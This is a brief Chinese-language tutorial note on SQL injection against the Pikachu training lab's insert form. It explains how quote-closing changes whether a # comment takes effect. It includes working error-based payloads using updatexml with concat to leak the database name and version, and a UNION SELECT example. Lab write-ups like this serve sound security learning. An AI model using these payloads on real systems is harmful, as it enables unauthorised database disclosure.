结论
当''闭合# --+等注释符后,会导致注释符失去原有的注释功能。
本题以pikachu的insert注入为例子
post参数
username=xixi&password=666666&sex=&phonenum=&email=&add=&submit=submit
**
构造payload
or updatexml(1,concat(0x7e,(select database()),0x7e),1) or
username=xixi'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit
在PHP中的sql语句
其中为了注入or前面和后面的单引号是为了闭合
{$getdata['$username']}
{$getdata['xiaodi'or updatexml(1,concat(0x7e,version(),0x7e),0) or'#']}
因此,在本次注入中加不加 #
都不会影响注入语句。
证明
当不闭合#
的时候#
会自动注释掉后面错误的sql字句asd155
select username,password from users where username='admin' union select 1,2 # asd155;
当使用''
闭合#
的时候,#
会失去注释功能